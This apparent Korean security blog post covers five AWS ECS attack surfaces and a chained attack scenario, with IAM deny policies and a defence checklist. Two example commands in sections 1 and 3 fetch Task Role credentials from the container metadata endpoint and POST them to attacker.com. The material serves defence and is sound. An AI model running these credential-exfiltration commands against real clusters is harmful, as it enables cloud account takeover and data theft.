ECS의 숨겨진 공격표면 5가지

이군·2026년 4월 16일

EC2 자가 등록으로 클러스터에 침투하기, Task Definition 명령어를 덮어써서 크리덴셜 빼돌리기, ECS Exec의 SSM 로깅을 우회하는 백도어, 인스턴스 종료를 막아 IR을 방해하는 지속성 기법, 그리고 Task Role보다 위험한데 덜 관리되는 Task Execution Role까지. 이 5가지는 대부분의 CSPM이 탐지하지 못하며, 실제 공격에서 이미 사용되고 있다.


1. EC2 Self-Registration + StartTask Overrides

출처: Reversec Labs, 2025년 8월

ECS on EC2의 동작 방식에는 흥미로운 특성이 있다. EC2 인스턴스에 ECS Agent를 설치하고 클러스터 이름을 지정하면, 해당 인스턴스가 ECS 클러스터에 자동 등록된다. 별도의 승인 절차가 없다.

공격 흐름

[공격자가 제어 가능한 EC2]
     │
     │ ① ECS Agent 설치 + 클러스터 이름 설정
     │    /etc/ecs/ecs.config → ECS_CLUSTER=target-cluster
     │
     ▼
[대상 ECS 클러스터에 자가 등록]
     │
     │ ② StartTask API 호출 (기존 Task Definition 참조)
     │    + overrides 파라미터로 컨테이너 명령 교체
     │
     ▼
[교체된 명령이 실행됨]
     │
     │ ③ Task Metadata Service(169.254.170.2) 호출
     │    → Task Role 크리덴셜 탈취
     │    → 공격자 서버로 전송
     │
     ▼
[크리덴셜 수신] → 횡이동 시작

핵심: overrides 파라미터

StartTaskRunTask API에는 overrides라는 파라미터가 있다. 이 파라미터로 Task Definition에 정의된 컨테이너의 시작 명령을 런타임에 덮어쓸 수 있다. 정상 사용 사례는 같은 Task Definition을 다른 인자로 실행하는 것이지만, 공격자에게는 크리덴셜 탈취 도구가 된다.

{
  "containerOverrides": [
    {
      "name": "app-container",
      "command": [
        "sh", "-c",
        "curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > /tmp/creds.txt && curl -X POST -d @/tmp/creds.txt http://attacker.com/collect"
      ]
    }
  ]
}

IAM으로 overrides를 제한하는 것이 불가능하다. ecs:StartTaskecs:RunTask 권한이 있으면 overrides도 자동으로 사용 가능. 세분화된 IAM 조건 키가 존재하지 않는다.

Fargate 변형

EC2 자가 등록은 필요 없이, RunTask로 Fargate에서 직접 실행하는 변형도 가능하다. 필요한 권한은 ecs:RunTaskiam:PassRole뿐.

방어

· StartTask/RunTask를 호출할 수 있는 IAM 주체를 CI/CD 파이프라인으로 제한
· 직접 API 호출 대신 Lambda 프록시를 두어 파라미터를 사전 정의
· Task Placement Constraints로 등록되지 않은 인스턴스에서 실행 차단
· Security Group으로 자가 등록된 인스턴스의 아웃바운드 트래픽 제한

2. ECS Exec의 SSM 로깅 우회 백도어

출처: AWS 공식 문서 경고, ruse.tech 분석

ECS Exec은 컨테이너에 대화형 셸을 제공하는 기능으로, 내부적으로 SSM Session Manager를 사용한다. aws ecs execute-command를 실행하면 CloudTrail에 기록되고, 셸 내부의 명령어와 출력은 S3/CloudWatch에 로깅될 수 있다.

문제는 우회 경로가 존재한다는 것이다.

정상 경로 vs 우회 경로

[정상 경로]
aws ecs execute-command --cluster X --task Y --command "/bin/bash"
  → CloudTrail: ExecuteCommand 이벤트 기록 ✅
  → S3/CloudWatch: 셸 명령어 + 출력 로깅 ✅

[우회 경로]
aws ssm start-session --target ecs:CLUSTER_TASK_CONTAINER
  → CloudTrail: StartSession 이벤트만 기록 (ECS 컨텍스트 없음)
  → S3/CloudWatch: ECS Exec 로그에 기록되지 않음 ❌
  → 세션 제한 카운트에는 포함됨

AWS 공식 문서에서도 이 문제를 명시적으로 경고하고 있다.

“ECS Exec의 execute-command 액션 외부에서 SSM 세션을 시작하는 것이 가능하지만, 이 경우 세션이 로깅되지 않으며 세션 제한에 포함됩니다. ssm:start-session 액션을 IAM 정책으로 거부하여 이 접근을 제한할 것을 권장합니다.”

왜 위험한가

ecs:ExecuteCommand 권한을 모니터링하고 있어도, ssm:StartSession을 통한 접근은 ECS 감사 로그에 나타나지 않는다. 내부자 위협이나 탈취된 IAM 크리덴셜을 사용한 공격에서, 공격자가 흔적 없이 컨테이너에 접근할 수 있는 백도어가 된다.

추가 리스크: root 실행

ECS Exec을 통해 실행되는 모든 명령은 컨테이너 내부에서 root로 실행된다. 컨테이너의 runAsUser 설정과 무관하다. SSM Agent가 root로 동작해야 하기 때문인데, 이는 컨테이너 하드닝의 의미를 상당 부분 무력화한다.

방어

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyDirectSSMSession",
      "Effect": "Deny",
      "Action": "ssm:StartSession",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:CalledVia": "ecs.amazonaws.com"
        }
      }
    }
  ]
}

이 정책은 ECS를 통한 ssm:StartSession만 허용하고, 직접 호출은 차단한다. 모든 ECS 운영자 IAM 정책에 기본 포함시켜야 한다.


3. Task Definition Revisioning 백도어

출처: Rhino Security Labs, Pacu 모듈 ecs__backdoor_task_def

Task Definition은 컨테이너의 이미지, 명령, 환경변수, IAM Role 등을 정의하는 템플릿이다. ECS의 Task Definition은 이뮤터블(immutable)이지만, 새로운 revision을 생성할 수 있다. 그리고 여기에 공격의 여지가 있다.

공격 흐름

[기존 상태]
Task Definition: my-app:3
  Image: my-app:latest
  Command: ["node", "server.js"]
  Task Role: arn:aws:iam::123456789012:role/my-app-prod-role

[공격]
① 새 revision 생성 (my-app:4)
   Image: python:latest  ← 도구가 포함된 이미지로 변경
   Command: ["sh", "-c", "curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | curl -X POST -d @- http://attacker.com/exfil"]
   Task Role: 동일 (기존 Role의 크리덴셜 탈취 목적)

② RunTask로 my-app:4 실행
   → 컨테이너 시작 → 크리덴셜 탈취 → 명령 완료 → 컨테이너 종료

③ 악성 revision 즉시 deregister
   → my-app:4 삭제, my-app:3만 남음
   → 흔적 최소화

왜 탐지가 어려운가

컨테이너는 설계상 일시적(ephemeral)이다. 스케일링, 배포, 장애 복구 등으로 컨테이너가 생성되고 소멸하는 것은 정상 동작이다. 공격자의 컨테이너도 이런 정상 라이프사이클과 구분하기 어렵다.

Rhino Security Labs는 이 공격을 Pacu(AWS 공격 프레임워크)의 모듈로 자동화했다. ecs__backdoor_task_def 모듈을 실행하면 위의 전체 과정이 자동으로 수행된다.

방어

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictTaskDefRegistration",
      "Effect": "Deny",
      "Action": "ecs:RegisterTaskDefinition",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalArn": [
            "arn:aws:iam::ACCOUNT:role/ci-cd-pipeline-role"
          ]
        }
      }
    }
  ]
}
· RegisterTaskDefinition을 CI/CD 파이프라인 Role로만 제한
· ECR 이미지에 이뮤터블 태그 적용 — 같은 태그로 다른 이미지 Push 방지
· CloudTrail에서 RegisterTaskDefinition → RunTask → DeregisterTaskDefinition
  패턴을 짧은 시간 내 연속 실행으로 탐지하는 알림 설정
· Task Definition에서 허용된 이미지 레지스트리를 제한 (DockerHub 차단 등)

4. disableApiTermination — IR을 방해하는 지속성 기법

출처: 2025년 11월 AWS GuardDuty 발견, 크립토마이닝 캠페인

2025년 11월에 발견된 대규모 크립토마이닝 캠페인에서 사용된 기법이다. 공격 자체(크립토마이닝)보다 방어팀의 대응을 지연시키는 persistence 기법이 주목할 만하다.

공격 흐름

[IAM 크리덴셜 탈취 성공]
     │
     │ ① 10분 내에 크립토마이너 배포
     │    · 50개 이상의 ECS 클러스터 생성
     │    · RegisterTaskDefinition으로 악성 DockerHub 이미지 등록
     │    · Autoscaling 그룹: 20 → 999 인스턴스
     │
     ▼
[핵심 기법: 종료 보호]
     │
     │ ② ModifyInstanceAttribute
     │    → disableApiTermination = true
     │
     │    의미: 방어팀이 인스턴스를 종료할 수 없음
     │    · AWS Console에서 Terminate 불가
     │    · AWS CLI에서 terminate-instances 불가
     │    · 자동화된 IR 스크립트의 인스턴스 삭제 실패
     │
     ▼
[방어팀의 대응]
     │
     │ ③ 먼저 termination protection을 해제해야 함
     │    aws ec2 modify-instance-attribute \
     │      --instance-id i-XXX \
     │      --no-disable-api-termination
     │
     │ ④ 그 후에야 인스턴스 종료 가능
     │    → 999개 인스턴스 × 수동 해제 = IR 시간 대폭 지연
     │
     ▼
[공격자 목표 달성: 채굴 시간 최대화]

왜 이 기법이 효과적인가

대부분의 자동화된 IR(Incident Response) 플레이북은 “인스턴스 격리 → 인스턴스 종료 → 포렌식 이미지 확보” 순서로 동작한다. disableApiTermination이 설정되면 종료 단계에서 실패하고, 수동 개입이 필요해진다. 999개의 인스턴스에 대해 이를 수동으로 처리하는 것은 상당한 시간과 인력을 소모한다.

AWS 공식 블로그에서도 이 기법에 대해 다음과 같이 경고했다.

“인스턴스 종료 보호는 인시던트 대응 역량을 손상시키고 자동화된 복구 제어를 방해할 수 있습니다. 이 기법은 일반적인 보안 대응 절차에 대한 이해와 채굴 운영 기간을 최대화하려는 의도를 보여줍니다.”

방어

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyTerminationProtection",
      "Effect": "Deny",
      "Action": "ec2:ModifyInstanceAttribute",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "ec2:Attribute": "disableApiTermination"
        }
      }
    }
  ]
}
· SCP로 ModifyInstanceAttribute의 disableApiTermination 설정을 조직 전체에서 차단
· GuardDuty Extended Threat Detection 활성화
  — AttackSequence:EC2/CompromisedInstanceGroup 탐지
· IR 자동화 스크립트에 "termination protection 해제 → 종료" 2단계 로직 포함
· ECS 클러스터 생성 이벤트를 모니터링하여 비정상 대량 생성 탐지

5. Task Execution Role — Task Role보다 위험한데 덜 관리되는 역할

이 기법은 단일 공격 벡터라기보다, 아키텍처적 맹점에 가깝다. 대부분의 ECS 보안 가이드가 Task Role의 최소 권한을 강조하지만, Task Execution Role은 “시스템이 쓰는 역할”이라는 인식 때문에 과도한 권한이 부여되는 경우가 매우 흔하다.

Task Role vs Task Execution Role

┌─────────────────────────────────────────────────────┐
│ Task Role                                           │
│ · 애플리케이션 코드가 AWS 서비스에 접근할 때 사용     │
│ · 예: S3 읽기, DynamoDB 쓰기, SQS 메시지 전송       │
│ · 개발자가 직접 설정 → 비교적 관심이 높음            │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│ Task Execution Role                                 │
│ · ECS Agent가 Task를 시작할 때 사용                  │
│ · 예: ECR 이미지 Pull, Secrets Manager 시크릿 주입,  │
│       CloudWatch Logs 쓰기, KMS 복호화              │
│ · 인프라팀이 설정 → "시스템 역할"이라 관심 낮음      │
│ · 💀 하지만 Secrets Manager 전체 접근 가능할 수 있음  │
└─────────────────────────────────────────────────────┘

실제 사례: LexisNexis 유출 (2026년 3월)

2026년 3월에 보고된 LexisNexis 데이터 유출 사건에서, 공격자는 ECS Task Role인 LawfirmsStoreECSTaskRole을 침투 경로로 사용했다. 이 역할은 AWS 계정 전체에 대한 광범위한 읽기 권한을 갖고 있었다.

탈취된 정보의 규모를 보면 이런 과도한 권한 설정의 결과가 얼마나 심각한지 알 수 있다.

· Redshift 데이터 웨어하우스: 536개 테이블에서 390만 레코드
· VPC 데이터베이스: 430개 이상의 테이블
· AWS Secrets Manager: 53개의 평문 시크릿
· 클라우드 사용자 프로파일: 약 40만 건
· RDS 마스터 비밀번호: "Lexis1234" 💀

이 사건에서 Secrets Manager의 53개 평문 시크릿이 유출된 것은 Task Execution Role의 과도한 secretsmanager:GetSecretValue 권한과 직접적으로 관련된다. Execution Role이 모든 시크릿에 접근 가능했기 때문이다.

ECScape와의 연결

1편에서 다룬 ECScape가 Task Execution Role까지 탈취한다는 점을 상기하자. ECScape의 GitHub PoC 설명에서 이렇게 명시하고 있다.

“Task Execution Role의 크리덴셜도 획득합니다. 이 역할은 컨테이너가 접근하도록 설계되지 않은 것이며, 잘못 범위가 지정되면 영향을 확대할 수 있습니다. 또한 같은 EC2 인스턴스의 다른 task에 정의된 시크릿(환경변수 ValueFrom)을 이 탈취한 Execution Role 크리덴셜로 훔칠 수 있습니다.”

즉, ECScape → Execution Role 탈취 → Secrets Manager/Parameter Store의 모든 시크릿 유출이라는 체인이 성립한다.

방어

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "LimitSecretsAccess",
      "Effect": "Allow",
      "Action": "secretsmanager:GetSecretValue",
      "Resource": [
        "arn:aws:secretsmanager:REGION:ACCOUNT:secret:myapp/prod/db-*",
        "arn:aws:secretsmanager:REGION:ACCOUNT:secret:myapp/prod/api-key-*"
      ]
    },
    {
      "Sid": "LimitECRAccess",
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchGetImage",
        "ecr:GetDownloadUrlForLayer"
      ],
      "Resource": [
        "arn:aws:ecr:REGION:ACCOUNT:repository/myapp-*"
      ]
    }
  ]
}
· Execution Role의 Secrets Manager 접근을 해당 task가 사용하는 시크릿만으로 제한
· ECR 접근도 필요한 리포지토리만 명시
· Execution Role과 Task Role을 각 서비스별로 분리 — 하나의 Execution Role을
  여러 서비스가 공유하면 시크릿 범위가 불필요하게 확대됨
· Secrets Manager에서 리소스 정책으로 접근 가능한 Role을 추가 제한

5가지 기법의 체이닝 시나리오

이 기법들이 개별적으로도 위험하지만, 체이닝되면 파괴력이 급격히 증가한다.

[시나리오: 외부 공격자의 ECS 장악]

① Task Definition Revisioning (#3)
   · 탈취한 IAM 크리덴셜로 악성 Task Definition 생성
   · 리버스 셸이 포함된 컨테이너 실행
                │
                ▼
② ECScape (1편)
   · 리버스 셸에서 IMDS 접근
   · ACS WebSocket 위조로 같은 호스트의 고권한 Task 크리덴셜 탈취
                │
                ▼
③ Execution Role 남용 (#5)
   · 탈취한 Execution Role로 Secrets Manager 전체 시크릿 유출
   · ECR의 프라이빗 이미지에서 소스코드/설정 추출
                │
                ▼
④ ECS Exec SSM 우회 (#2)
   · ssm:StartSession으로 다른 컨테이너에 로깅 없이 접근
   · 추가 정찰 및 데이터 수집
                │
                ▼
⑤ Persistence (#4)
   · disableApiTermination으로 방어팀의 정리 작업 방해
   · 추가 ECS 클러스터/인스턴스 생성으로 지속적 접근 확보

종합 방어 체크리스트

[인프라 레벨]
□ Fargate 전환 가능한 워크로드 식별 및 마이그레이션
□ EC2 Launch Type 유지 시 IMDS 접근 차단 (hop limit 1 + iptables)
□ 고권한/저권한 Task를 물리적으로 다른 인스턴스에 배치
□ Security Group에서 불필요한 아웃바운드 차단

[IAM 레벨]
□ RegisterTaskDefinition을 CI/CD 파이프라인으로 제한
□ StartTask/RunTask 호출 주체 제한
□ ssm:StartSession 직접 호출 Deny (ECS 경유만 허용)
□ ModifyInstanceAttribute (disableApiTermination) SCP로 차단
□ Task Execution Role의 Secrets Manager/ECR 범위 최소화
□ Task Execution Role을 서비스별로 분리

[모니터링 레벨]
□ CloudTrail: RegisterTaskDefinition → RunTask → DeregisterTaskDefinition 패턴 감시
□ CloudTrail: ECS Agent 전용 API(DiscoverPollEndpoint 등)의 비정상 호출 감시
□ CloudTrail: ModifyInstanceAttribute 이벤트 실시간 알림
□ GuardDuty Extended Threat Detection 활성화
□ ECS 클러스터 대량 생성 이벤트 모니터링
□ ECR 이미지 이뮤터블 태그 적용 여부 확인

마무리: ECS의 보안 경계는 어디인가

EKS는 K8s RBAC, NetworkPolicy, Pod Security Standards 등 클러스터 내부의 보안 제어 도구가 풍부하다. 반면 ECS는 이런 세분화된 내부 제어가 상대적으로 부족하고, IAM과 네트워크 설정에 더 의존한다.

이것은 ECS가 덜 안전하다는 뜻이 아니라, 방어 전략이 달라야 한다는 뜻이다. ECS 환경에서는 IAM 정책의 정밀도, 네트워크 경계의 엄격함, 그리고 Fargate 전환 여부가 보안 수준을 결정하는 핵심 레버가 된다.

클라우드 보안의 핵심은 "이건 정상 동작인가?"가 아니라,
"이 정상 동작을 공격자가 악용하면 어떻게 되는가?"를 묻는 것이다.

참고 자료

profile
이군의 보안, 그리고 생각을 다룹니다.

0개의 댓글